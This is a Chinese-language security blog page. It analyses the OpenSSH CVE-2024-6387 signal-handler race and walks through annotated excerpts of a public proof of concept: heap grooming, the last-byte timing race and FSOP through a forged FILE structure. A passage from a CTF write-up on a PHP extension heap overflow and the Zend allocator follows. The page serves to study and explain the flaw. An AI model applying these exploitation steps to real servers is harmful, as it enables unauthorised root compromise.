0%

近几天,OpenSSH 爆出了一个非常严重的安全漏洞,该漏洞可导致未授权的root权限任意代码执行,即 Unauthorized root RCE。部分媒体评估称,该漏洞预计将影响超过 1400 万台使用含有该漏洞的计算机设备,其中以 Linux 发行版为主。该漏洞主要影响版本为 [8.5p1, 9.8p1),在 9.8p1 版本中 OpenSSH 将其修复,可通过 OpenSSH release notes 查看。这个漏洞的影响是毁灭性的,它可以在基于 glibc 的 Linux 系统上远程利用,获得未经授权的Root级别代码执行。更令人担忧的是,sshd以完全特权运行,且未沙箱化,这使得攻击面更加严峻。目前,针对搭载 Glibc 的 32 位 Linux 发行版的漏洞 PoC 已经发布,根据漏洞发现者披露,该漏洞在 64 位 Linux 中很可能也可以进行利用,对于 MacOS 与 Windows 也有一定的潜在风险。

下面对该漏洞进行简要分析。

分析使用的OpenSSH版本:9.7p1

参考资料:资料

A. 漏洞成因

这个漏洞可以看做是 CVE-2006-5051 的重演,该漏洞在 8.5p1 版本被引入,产生的原因是在 commit 752250C 中错误地删除了 sigdie() 函数中的一条语句 #ifdef DO_LOG_SAFE_IN_SIGHAND,该函数在SIGALRM信号的 handler 函数中被直接调用。因此实际上该漏洞对于 <4.4p1 版本的 OpenSSH 也有效。

commit 信息:链接

在 SSHd 的 main 函数中,通过 ssh_signal 函数注册了对于 SIGALRM 信号的 handler 函数 grace_alarm_handler。在 SSHd 中,如果客户端在 LoginGraceTime (较新版本默认为120s)时间内没有完成认证,则会产生 SIGALRM 信号,并异步调用 grace_alarm_handler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// sshd.c, line 2222

ssh_signal(SIGALRM, grace_alarm_handler);

--------------------------------------------------------------------------------

// sshd.c, line 349

/*
* Signal handler for the alarm after the login grace period has expired.
*/
static void
grace_alarm_handler(int sig)
{
/*
* Try to kill any processes that we have spawned, E.g. authorized
* keys command helpers or privsep children.
*/
if (getpgid(0) == getpid()) {
ssh_signal(SIGTERM, SIG_IGN);
kill(0, SIGTERM);
}

/* Log error and exit. */
sigdie("Timeout before authentication for %s port %d",
ssh_remote_ipaddr(the_active_state),
ssh_remote_port(the_active_state));
}

这里重点关注 sigdie。下面是该函数的一条调用链:

1
2
3
4
5
sigdie                  // log.h, line 96
sshsigdie // log.c, line 450
sshlogv // log.c, line 463
do_log // log.c, line 336
syslog

syslog 是libc实现的库函数。如果在其中调用了异步执行不安全的函数(如 malloc ,因为 malloc 进行内存分配时不会加锁),那么就有可能出现内存不安全问题。

事实是,它确实调用了:

1
2
3
4
5
6
7
8
9
syslog                        /misc/bits/syslog.h, line 28
__syslog_chk /misc/syslog.c, line 103
__vsyslog_internal /misc/syslog.c, line 119
__localtime64_r /time/localtime.c, line 27
__tz_convert /time/tzset.c, line 566
tzset_internal /time/tzset.c, line 366
__tzfile_read /time/tzset.c, line 100
fopen
__fread_unlocked

__localtime64_r 第一次执行时,将按照上面的流程执行。可以看到,这里的 fopen 即为异步不安全函数调用,它的内部需要调用 malloc 分配一个 FILE 结构。在 __fread_unlocked 中也需要调用 malloc 分配一个 4KB 的读缓冲区。

B. 漏洞利用前置知识

要深入理解该漏洞的整个利用逻辑,首先需要了解一些前置知识。

B.1 相关 SSH 协议报文格式

OpenSSH 实现了对于 SSH 协议的所有解析逻辑,在本漏洞中,需要了解的是 SSH 协议的算法交换部分。

在 SSH 建立连接之前,首先需要完成客户端与服务端的算法协商,这些算法包括密钥交换算法、报文加密算法等。因为客户端与服务端的 SSH 版本可能不同,支持的算法也可能不同,因此需要协商出客户端与服务端都实现的算法。对于算法的协商,SSH 协议通过4个报文完成:

  1. 客户端将自身支持的算法发送至服务端。
  2. 服务端将自身支持的算法发送至客户端。
  3. 客户端向服务器发送自己选择的算法。
  4. 服务端向客户端发送响应,表示收到客户端的算法选择。

在前面两个报文中,对于支持算法的发送采用的是 ASCII 明文。具体的 SSH 报文格式如下:

  • 4 bytes – SSH 报文总长度(大端序)
  • 1 byte – padding length,即最后用于填充的字节数量
  • 1 byte – message code,即 SSH 报文消息码,算法选择的消息码为 20/0x14
  • 16 bytes – cookie
  • 变长部分 – 用于列举所有本端可用的算法。每一种算法发送的格式为:
    • 4 bytes – algorithm length,即算法描述的长度
    • 变长部分 – 算法的具体内容,以 ASCII 码形式发送

可想而知,对于服务端与客户端而言,要想实现对这个报文的解析,必须使用一定的内存空间保存这些算法的相关描述。这一逻辑在 SSHd 中通过 sshkey.c 中的 cert_parse(line 1761)函数实现。在这个函数中循环调用 malloc 函数以保存报文内容。当发送的报文解析失败时,将会调用 sshkey.c 中的 cert_free(line 569)函数循环释放这些内存空间。

B.2 Glibc 内存分配相关规则

该漏洞已经证实能够在基于 Glibc 的 Linux SSH 中完成利用。这与 Glibc 的内存分配策略高度相关。

Glibc 将一块用户可用堆内存(称为 chunk)的大小保存在其前面(低地址)的位置,当用户程序需要释放 chunk 时,Glibc 将根据这块内存的大小将 chunk 链入不同的链表中(这些链表称为 bins)。根据功能不同,Glibc 将这些 bins 分为几类:tcache、fastbin、small bin、large bin、unsorted bin。

Glibc 的内存分配主要通过 _int_malloc 函数实现,释放则主要通过 _int_free 实现。在网址中可以找到所有版本的 Glibc 源码,感兴趣的读者可自行查看。下面介绍与本漏洞相关的一些内存分配特性:

在内存分配过程中,Glibc 首先会从 tcache、fastbin、small bin 中查找,如果没有找到合适的 chunk,则会遍历 unsorted bin 进行查找。unsorted bin 中可保存任意大小的较大的 chunk,遍历过程中,如果发现不等于分配需求的 chunk,会根据其大小将其转移到合适的 small bin/large bin 中。当 unsorted bin 遍历完毕后,如果还是没有找到合适的 chunk,则会尝试在 large bins 中寻找可用的大 chunk 并拆分之。这个拆分操作需要满足多个前提条件,这里不是重点。拆分完成后,剩余的 chunk 将会保存为 last remainder,该 chunk 将被放在 unsorted bin 的开头位置,它将在下一次遍历 unsorted bin 时优先被考虑分配。需要注意的是,remainder chunk 是在其拆分完成后设置其 size 字段的。在 remainder chunk 被切分出来后,但没有设置 size 前,对 size 字段进行修改,即可实际上控制这个 chunk 的大小,可以让这个 chunk 与后面的 chunk 重叠。在 size 字段被正确修改前立即将该 chunk 分配出去,即可完成对堆内存的破坏。

为了保证其他的内存分配操作不会破坏所需的堆内存布局,客户端可以通过多次发送公钥数据包填充 tcache,为了提升利用的成功率,在公钥文件不大于256KB的情况下,可以生成27个 large-small holes 结构。

C. POC

POC 来源:github

下面分析POC中的关键代码逻辑。通过下面的分析可以帮助读者彻底了解该漏洞的利用方式、

在POC中,首先需要进行与SSH服务器的连接与密钥交换。这部分代码不是重点,略过。

C.1 堆内存布局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
void
prepare_heap (int sock)
{
// Packet a: Allocate and free tcache chunks
for (int i = 0; i < 10; i++)
{
unsigned char tcache_chunk[64];
memset (tcache_chunk, 'A', sizeof (tcache_chunk));
send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk));
// These will be freed by the server, populating tcache
}

// Packet b: Create 27 pairs of large (~8KB) and small (320B) holes
for (int i = 0; i < 27; i++)
{
// Allocate large chunk (~8KB)
unsigned char large_hole[8192];
memset (large_hole, 'B', sizeof (large_hole));
send_packet (sock, 5, large_hole, sizeof (large_hole));

// Allocate small chunk (320B)
unsigned char small_hole[320];
memset (small_hole, 'C', sizeof (small_hole));
send_packet (sock, 5, small_hole, sizeof (small_hole));
}

// Packet c: Write fake headers, footers, vtable and _codecvt pointers
for (int i = 0; i < 27; i++)
{
unsigned char fake_data[4096];
create_fake_file_structure (fake_data, sizeof (fake_data),
GLIBC_BASES[0]);
send_packet (sock, 5, fake_data, sizeof (fake_data));
}

// Packet d: Ensure holes are in correct malloc bins (send ~256KB string)
unsigned char large_string[MAX_PACKET_SIZE - 1];
memset (large_string, 'E', sizeof (large_string));
send_packet (sock, 5, large_string, sizeof (large_string));
}

在这里,send_packet 实现了一个简单的 SSH 协议数据包封装,用于发送 SSH 数据包。

该函数中一共发送了4个数据包,这4个数据包的作用分别为:

  1. 填充 tcache。
  2. 创建 27 个大小 chunk 对,大 chunk 为 8KB,小 chunk 为 320B。
  3. 写入伪造的 FILE 结构体数据。
  4. 发送一个超大数据包,使得服务端对该 chunk 进行分配与释放,令 glibc 将 27 个大小 chunk 对中的 27 个大 chunk 和 27 个小 chunk 转移到 large bins 与 small bins 中。

C.2 服务端解析数据时间测量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void
time_final_packet (int sock, double *parsing_time)
{
double time_before = measure_response_time (sock, 1);
double time_after = measure_response_time (sock, 2);
*parsing_time = time_after - time_before;

printf ("Estimated parsing time: %.6f seconds\n", *parsing_time);
}

double
measure_response_time (int sock, int error_type)
{
...

struct timespec start, end;
clock_gettime (CLOCK_MONOTONIC, &start);

send_packet (sock, 50, error_packet,
packet_size); // SSH_MSG_USERAUTH_REQUEST

char response[1024];
ssize_t received;
do
{
received = recv (sock, response, sizeof (response), 0);
}
while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));

clock_gettime (CLOCK_MONOTONIC, &end);

double elapsed
= (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1e9;
return elapsed;
}

堆内存布局完成后,POC 中通过 time_final_packet 来测量服务端解析客户端发送的数据的所需时间。这里测量了两次,分别代表不同错误的解析时间。两次测量对应的错误在 SSHd 中的时间差产生于是否调用了 sshkey_from_blob,因此将两个时间段相减即可得到函数 sshkey_from_blob 的执行时间。

C.3 条件竞争

完成上述操作之后,客户端还需要发送最后一个超大的 SSH 报文。该报文是算法协商报文,长度为 SSH 协议允许的最大长度。由于 SSH 报文前面带有长度字段,因此一个 SSH 报文允许被包装在多个 TCP 报文中传输。在下面的代码中,POC 直接发送最后一个报文,但故意少发送 1 个字节,让服务端一直等待最后 1 个字节的到来:

1
2
3
4
5
6
7
8
9
10
11
12
int
attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base)
{
unsigned char final_packet[MAX_PACKET_SIZE];
create_public_key_packet (final_packet, sizeof (final_packet), glibc_base);

// Send all but the last byte
if (send (sock, final_packet, sizeof (final_packet) - 1, 0) < 0)
{
perror ("send final packet");
return 0;
}

随后,进行计时,准备好在即将超时的瞬间发送最后 1 个字节:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// Precise timing for last byte
struct timespec start, current;
clock_gettime (CLOCK_MONOTONIC, &start);

while (1)
{
clock_gettime (CLOCK_MONOTONIC, &current);
double elapsed = (current.tv_sec - start.tv_sec)
+ (current.tv_nsec - start.tv_nsec) / 1e9;
if (elapsed >= (LOGIN_GRACE_TIME - parsing_time - 0.001))
{ // 1ms before SIGALRM
if (send (sock, &final_packet[sizeof (final_packet) - 1], 1, 0) < 0)
{
perror ("send last byte");
return 0;
}
break;
}
}

发送最后一个字节后,服务端发现这是一个算法协商报文,因此会多次调用 cert_parse 函数进行解析。POC 精心构造了这个超长报文,使得 cert_parse 将会循环 54 次解析过程,每次解析过程都会调用一次 malloc 函数。POC 能够让 SSHd 以 0x4096、0x304(FILE 结构体的大小)、0x4096、0x304、… 的顺序调用 malloc 函数分配内存,使得在后面的一段时间内,SSHd 会进行一系列的内存分配,同时由于超时,SSHd 将异步地执行另外的内存分配。在此之前,由于我们分配的 8KB、320 Bytes 内存中的任意内容均可控,因此完全可以提前在 320 byte 的 chunk 中写好伪造的 FILE 结构体与虚假的过大的 remainder size。这样一来,只要 syslog 抢在 remainder size 更新前将虚大的 remainder 分配出去,就能够使 remainder 部分覆盖 syslog 获取的 FILE 结构体。

注意:由于 0x320 chunk 位于 tcache,因此 syslog 获取 FILE 结构体并不会切分 remainder,这个操作是由后面分配 4KB 的读缓冲区触发的。切分 remainder 后,还会剩下一个小 remainder,_int_malloc 一更新这个小 remainder 的相关字段,就完成了对 syslogFILE 结构体的破坏。

C.4 FSOP

该漏洞在32位下可以通过 FSOP 完成利用,这主要是考虑到 32 位系统的 ASLR 保护不完善,Glibc 只能映射到两个基地址:0xb7400000 或 0xb7200000。这正给了攻击者做文章的机会。

在上一节,我们提到通过更新 remainder 的 相关字段,能够达到破坏 FILE 结构体的效果。具体而言,它实际上是修改了 FILE 结构体中的 _vtable_offset 字段:

1
2
3
4
5
6
7
8
9
10
11
12
13
struct _IO_FILE
{
...

signed char _vtable_offset;

...

/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;

...
};

如果猜测 Glibc 的映射基地址为 0xb7400000,那么 last remainder 的 fd 指针与 bk 指针指向 unsorted bin 后,其值应该为 0xb761d7f8(随 Glibc 版本不同而不同,但高 2 字节基本都相同),反映到上面的 FILE 结构体中,则是将 _vtable_offset 修改为 bk 指针的第 3 个字节——0x61。

1
2
3
4
5
6
7
// Glibc 2.36, /malloc/malloc.c, line 4024

remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks (av);

在 Glibc 中,对于文件读写等操作的相关函数是统一保存在一个个 vtable 中的,实际执行时需要首先访问 vtable,再获取其中的函数指针以调用执行。将 _vtable_offset 改为 0x61 后,syslog__fread_unlocked 将会找到 _IO_wfile_jumps 这个 vtable,选择其中的 _IO_wfile_underflow 函数执行(正常情况下应该是执行 _IO_file_jumps 中的 _IO_file_underflow)。在 _IO_wfile_underflow 中,存在下面的调用链:

1
2
3
_IO_wfile_underflow     // Glibc 2.36, /libio/wfileops.c, line 110
__libio_codecvt_in // Glibc 2.36, /libio/iofwide.c, line 161
DL_CALL_FCT // Glibc 2.36, /iconv/skeleton.c, line 153

需要注意的是,fopen 并没有对 FILE 结构体的 _codecvt 字段进行初始化,因此依然可以通过提前布置值完成对该字段的控制。

1
2
3
4
5
struct _IO_codecvt        // Glibc 2.36, /libio/libio.h, line 114
_IO_iconv_t // Glibc 2.36, /libio/libio.h, line 50
__gconv_step // Glibc 2.36, /iconv/gconv.h, line 83
__gconv_fct __fct

从上面的结构定义层次来看,我们需要的 __fct 函数指针经过多层结构包装。为了让提前写入的指针能够完整地构建调用链,攻击者可以选择将 _codecvt 写成 Glibc 的 bins 的地址,这样实际就是让 Glibc 将我们释放的 chunk 的前面一小部分看做 _IO_iconv_t 结构,接下去如法炮制,在已经释放的 chunk 中完成精心构造,即可让代码最终执行我们伪造的 __fct 函数指针,完成任意代码执行。

D. 相关挑战

该漏洞的利用较为困难,这主要是因为猜测 ASLR 与时间窗口竞争叠加的结果。

地址空间布局随机化(Address Space Layout Randomization)是一种常用的程序运行时保护方式,多次执行时,同一个段会映射到不同的内存地址。但 glibc 在32位下实际上只会映射到 0xb7400000 或 0xb7200000,因此实现 FSOP 还是有可能的。但是时间竞争窗口较小,导致总体成功率依然极低(实验室环境下6~8小时尝试平均10000次才能成功)。在 64 位强化 ASLR 中,通过猜测 glibc 加载地址进行攻击的利用方式就更加无法实现了,需要通过其他的方式完成漏洞利用。

E. 总结

CVE-2024-6387 是一个高危的未授权任意代码远程执行漏洞,虽然目前的攻击方式较为复杂,攻击成功所需时间较长,但其危害仍不容忽视。建议升级 OpenSSH 至 9.8v1 及更高版本,或通过防火墙等方式缓解风险。

上一篇blog中,我们学习了一些PHP extension for C的基本内容,下面结合一道题来进行分析,同时学习一些题目中会涉及的新内容。

题目示例:2024 D^3CTF PwnShell 链接

A. 逆向分析

该题是一道典型的PHP pwn,题目中给出了一个简单的PHP文件上传脚本,我们可以上传PHP文件然后远程执行,调用有漏洞的C库,最后通过反弹shell进行RCE。

这里我们使用的逆向分析引擎为Ghidra。

A.1 基本数据获取

在上一篇blog中,我们提到,一个PHP扩展必然存在一个_zend_module_entry结构,用于保存该扩展的基本信息。我们可以在Ghidra中定义下面的结构,其中函数指针以void*代替。随后,可以在0x104080找到vuln_module_entry,从数据大小和变量名来看应该就是我们要找的_zend_module_entry。进行数据类型转换后如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
struct _zend_module_entry {
unsigned short size;
unsigned int zend_api;
unsigned char zend_debug;
unsigned char zts;
const struct _zend_ini_entry *ini_entry;
const struct _zend_module_dep *deps;
const char *name;
const struct _zend_function_entry *functions;
zend_result (*module_startup_func)(INIT_FUNC_ARGS);
zend_result (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS);
zend_result (*request_startup_func)(INIT_FUNC_ARGS);
zend_result (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS);
void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS);
const char *version;
size_t globals_size;
#ifdef ZTS
ts_rsrc_id* globals_id_ptr;
#else
void* globals_ptr;
#endif
void (*globals_ctor)(void *global);
void (*globals_dtor)(void *global);
zend_result (*post_deactivate_func)(void);
int module_started;
unsigned char type;
void *handle;
int module_number;
const char *build_id;
};

由此可以获取一些基本信息,包括扩展的名字vuln、版本0.1.0等。

随后,我们定义_zend_function_entry结构,找到vuln_module_entry并设置其数据类型,如下图所示,可以看到,扩展一共定义了4个函数可供调用。

随后,定义表示参数类型的数据结构,得到这些函数的参数信息,如下图所示。

可以获取这些函数的原型:

1
2
3
4
void zif_addHacker(undef name, undef fill);
void zif_removeHacker(undef idx);
string zif_displayHacker(undef idx);
void zif_editHacker(undef idx, undef content);

A.2 函数逆向

下面,我们分析一下库中定义的函数。

zif_addHacker

反汇编结果如下图所示。

在这里,C语言解析参数的方式与上一篇blog中描述的不同。这里是使用zend_parse_parameters进行解析。这种解析方式更加直观。

zend_parse_parameters可传入不固定数量的参数,一般用于一次性解析所有参数:

1
int zend_parse_parameters(int num_args, char *type_spec, ...);

第一个参数为参数数量,第二个参数为参数解析格式。根据PHP源代码文档,type_spec参数的格式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
对于一个参数,可以使用一个字符序列表示该参数的解析规则。在后面的变长参数中,需要顺序传入参数保存值的引用值。

PHP使用一个字母表示参数应该被解析为什么类型。具体的对应关系如下:

a - array (zval*)
A - array or object (zval*)
b - boolean (zend_bool)
C - class (zend_class_entry*)
d - double (double)
f - function or array containing php method call info (returned as
zend_fcall_info and zend_fcall_info_cache)
h - array (returned as HashTable*)
H - array or HASH_OF(object) (returned as HashTable*)
l - long (zend_long)
n - long or double (zval*)
o - object of any type (zval*)
O - object of specific type given by class entry (zval*, zend_class_entry)
p - valid path (string without null bytes in the middle) and its length (char*, size_t)
P - valid path (string without null bytes in the middle) as zend_string (zend_string*)
r - resource (zval*)
s - string (with possible null bytes) and its length (char*, size_t)
S - string (with possible null bytes) as zend_string (zend_string*)
z - the actual zval (zval*)
* - variable arguments list (0 or more)
+ - variable arguments list (1 or more)

还可以使用下面3个符号:

| - 放在上面字母的前面表示参数的解析规则为可选参数,其应该被初始化为默认值,以防止PHP代码没有传入该参数。
/ - 对其所跟的参数调用 SEPARATE_ZVAL()。
! - 所跟的参数可以为指定类型或 NULL。如果传入 NULL 且输出类型为指针,则输出的 C 语言指针为 NULL。对于类型 'b'、'l'、'd',一个额外的 zend_bool* 类型需要在对应的 bool*、zend_long*、double* 后被传入。如果传入 PHP NULL 则一个非0值将会被写到 zend_bool 中。

具体的示例参见PHP文档,已保存到网站本地。

在定义了必要的数据结构之后,可以完成对该函数的反汇编,重定义数据类型与命名后,结果如下所示。

下面是推断出的本地定义的数据结构:

1
2
3
4
5
6
7
8
9
10
struct hacker_entry {
char* name;
size_t name_len;
char[] fill;
};

struct chunklist_entry {
struct hacker_entry* hacker;
int islast;
};

这里没有定义zend_string,偏移0x10表示字符串长度,0x18表示字符串指针。

需要注意的是,结构体hacker_entry的最后一个字段的数组长度未知,又因为没有对fill参数的长度进行判断,因此可能存在堆内存溢出漏洞。我们需要分析内存分配函数_emalloc以明确溢出的具体信息。

查阅PHP源代码发现,_emalloc是PHP自己实现的一个内存分配函数,即PHP默认不使用外部库(如glibc)进行内存分配。当然在C语言编写的扩展中使用glibc也是完全允许的。这部分代码分析在我们将4个扩展内函数逆向完成后再进行。

zif_removeHacker

zif_displayHacker

这个函数只返回了之前传入的Hacker名,而不会返回fill。

zif_editHacker

这里只是修改了Hacker的名字,没有改变fill。

由上面的分析可知,本题的漏洞点应该就在fill字段的处理上。我们需要理解PHP的内存分配系统原理,以尝试通过这个溢出实现get shell。

A.3 PHP 内存分配

_emalloc函数是PHP自定义的内存分配系统的分配入口点:

1
2
3
4
5
6
7
8
9
10
11
// /Zend/zend_alloc.c, line 2534

ZEND_API void* ZEND_FASTCALL _emalloc(size_t size ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
#if ZEND_MM_CUSTOM
if (UNEXPECTED(AG(mm_heap)->use_custom_heap)) {
return _malloc_custom(size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
}
#endif
return zend_mm_alloc_heap(AG(mm_heap), size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
}

这里有一个默认为真的宏定义,它将分配过程拆分为两个分支。首先来看默认分支,即_malloc_custom

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// /Zend/zend_alloc.c, line 2414

static ZEND_COLD void* ZEND_FASTCALL _malloc_custom(size_t size ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
if (ZEND_DEBUG && AG(mm_heap)->use_custom_heap == ZEND_MM_CUSTOM_HEAP_DEBUG) {
return AG(mm_heap)->custom_heap.debug._malloc(size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
} else {
return AG(mm_heap)->custom_heap.std._malloc(size);
}
}

// /Zend/zend_alloc.c, line 2356

typedef struct _zend_alloc_globals {
zend_mm_heap *mm_heap;
} zend_alloc_globals;

#ifdef ZTS
static int alloc_globals_id;
static size_t alloc_globals_offset;
# define AG(v) ZEND_TSRMG_FAST(alloc_globals_offset, zend_alloc_globals *, v)
#else
# define AG(v) (alloc_globals.v)
static zend_alloc_globals alloc_globals;
#endif

由此可以找到PHP堆的全局定义结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
struct _zend_mm_heap {
#if ZEND_MM_CUSTOM
int use_custom_heap;
#endif
#if ZEND_MM_STORAGE
zend_mm_storage *storage;
#endif
#if ZEND_MM_STAT
size_t size; /* current memory usage */
size_t peak; /* peak memory usage */
#endif
zend_mm_free_slot *free_slot[ZEND_MM_BINS]; /* free lists for small sizes */
#if ZEND_MM_STAT || ZEND_MM_LIMIT
size_t real_size; /* current size of allocated pages */
#endif
#if ZEND_MM_STAT
size_t real_peak; /* peak size of allocated pages */
#endif
#if ZEND_MM_LIMIT
size_t limit; /* memory limit */
int overflow; /* memory overflow flag */
#endif

zend_mm_huge_list *huge_list; /* list of huge allocated blocks */

zend_mm_chunk *main_chunk;
zend_mm_chunk *cached_chunks; /* list of unused chunks */
int chunks_count; /* number of allocated chunks */
int peak_chunks_count; /* peak number of allocated chunks for current request */
int cached_chunks_count; /* number of cached chunks */
double avg_chunks_count; /* average number of chunks allocated per request */
int last_chunks_delete_boundary; /* number of chunks after last deletion */
int last_chunks_delete_count; /* number of deletion over the last boundary */
#if ZEND_MM_CUSTOM
union {
struct {
void *(*_malloc)(size_t);
void (*_free)(void*);
void *(*_realloc)(void*, size_t);
} std;
struct {
void *(*_malloc)(size_t ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
void (*_free)(void* ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
void *(*_realloc)(void*, size_t ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
} debug;
} custom_heap;
HashTable *tracked_allocs;
#endif
};

可以看到,自定义堆分配实际上就是自定义堆分配、释放与重新分配的函数。在全局结构构造函数alloc_globals_ctor (/Zend/zend_alloc.c, line 2798)中,实际上是将函数指针处初始化为__zend_malloc__zend_malloc直接调用libc的malloc函数。因此自定义内存分配时默认使用libc库的内存分配函数。

下面再看到另一个分支。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// /Zend/zend_alloc.c, line 1311

static zend_always_inline void *zend_mm_alloc_heap(zend_mm_heap *heap, size_t size ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
void *ptr;
#if ZEND_DEBUG
...
#endif
if (EXPECTED(size <= ZEND_MM_MAX_SMALL_SIZE)) {
ptr = zend_mm_alloc_small(heap, ZEND_MM_SMALL_SIZE_TO_BIN(size) ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
#if ZEND_DEBUG
...
#endif
return ptr;
} else if (EXPECTED(size <= ZEND_MM_MAX_LARGE_SIZE)) {
ptr = zend_mm_alloc_large(heap, size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
#if ZEND_DEBUG
...
#endif
return ptr;
} else {
#if ZEND_DEBUG
...
#endif
return zend_mm_alloc_huge(heap, size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
}
}

可以看到,这里根据分配需求的大小将调用不同的3个函数,其中ZEND_MM_MAX_SMALL_SIZE为3072,ZEND_MM_MAX_LARGE_SIZE为2MB-4KB。对于题目而言,要分配的大小基本都小于3072。需要注意的是,在函数调用中使用了ZEND_MM_SMALL_SIZE_TO_BIN宏定义,可以理解为:PHP内部使用30个链表保存以释放的小chunk,每个链表中保存一个大小范围内的chunk,这与musl libc有类似之处。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
// /Zend/zend_alloc.c, line 1157

static zend_always_inline int zend_mm_small_size_to_bin(size_t size)
{
#if 0
int n;
/*0, 1, 2, 3, 4, 5, 6, 7, 8, 9 10, 11, 12*/
static const int f1[] = { 3, 3, 3, 3, 3, 3, 3, 4, 5, 6, 7, 8, 9};
static const int f2[] = { 0, 0, 0, 0, 0, 0, 0, 4, 8, 12, 16, 20, 24};

if (UNEXPECTED(size <= 2)) return 0;
n = zend_mm_small_size_to_bit(size - 1);
return ((size-1) >> f1[n]) + f2[n];
#else
unsigned int t1, t2;

if (size <= 64) {
/* we need to support size == 0 ... */
return (size - !!size) >> 3;
} else {
t1 = size - 1;
t2 = zend_mm_small_size_to_bit(t1) - 3;
t1 = t1 >> t2;
t2 = t2 - 3;
t2 = t2 << 2;
return (int)(t1 + t2);
}
#endif
}

#define ZEND_MM_SMALL_SIZE_TO_BIN(size) zend_mm_small_size_to_bin(size)

// /Zend/zend_alloc.c, line 1125

/* higher set bit number (0->N/A, 1->1, 2->2, 4->3, 8->4, 127->7, 128->8 etc) */
static zend_always_inline int zend_mm_small_size_to_bit(int size)
{
#if (defined(__GNUC__) || __has_builtin(__builtin_clz)) && defined(PHP_HAVE_BUILTIN_CLZ)
return (__builtin_clz(size) ^ 0x1f) + 1;
#elif defined(_WIN32)
unsigned long index;

if (!BitScanReverse(&index, (unsigned long)size)) {
/* undefined behavior */
return 64;
}

return (((31 - (int)index) ^ 0x1f) + 1);
#else
int n = 16;
if (size <= 0x00ff) {n -= 8; size = size << 8;}
if (size <= 0x0fff) {n -= 4; size = size << 4;}
if (size <= 0x3fff) {n -= 2; size = size << 2;}
if (size <= 0x7fff) {n -= 1;}
return n;
#endif
}

这一段主要是将用户请求的大小转换为对应的freelist索引值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// /Zend/zend_alloc.c, line 324

#define _BIN_DATA_SIZE(num, size, elements, pages, x, y) size,
static const uint32_t bin_data_size[] = {
ZEND_MM_BINS_INFO(_BIN_DATA_SIZE, x, y)
};

// /Zend/zend_alloc_sizes.h, line 31

/* num, size, count, pages */
#define ZEND_MM_BINS_INFO(_, x, y) \
_( 0, 8, 512, 1, x, y) \
_( 1, 16, 256, 1, x, y) \
_( 2, 24, 170, 1, x, y) \
_( 3, 32, 128, 1, x, y) \
_( 4, 40, 102, 1, x, y) \
_( 5, 48, 85, 1, x, y) \
_( 6, 56, 73, 1, x, y) \
_( 7, 64, 64, 1, x, y) \
_( 8, 80, 51, 1, x, y) \
_( 9, 96, 42, 1, x, y) \
_(10, 112, 36, 1, x, y) \
_(11, 128, 32, 1, x, y) \
_(12, 160, 25, 1, x, y) \
_(13, 192, 21, 1, x, y) \
_(14, 224, 18, 1, x, y) \
_(15, 256, 16, 1, x, y) \
_(16, 320, 64, 5, x, y) \
_(17, 384, 32, 3, x, y) \
_(18, 448, 9, 1, x, y) \
_(19, 512, 8, 1, x, y) \
_(20, 640, 32, 5, x, y) \
_(21, 768, 16, 3, x, y) \
_(22, 896, 9, 2, x, y) \
_(23, 1024, 8, 2, x, y) \
_(24, 1280, 16, 5, x, y) \
_(25, 1536, 8, 3, x, y) \
_(26, 1792, 16, 7, x, y) \
_(27, 2048, 8, 4, x, y) \
_(28, 2560, 8, 5, x, y) \
_(29, 3072, 4, 3, x, y)

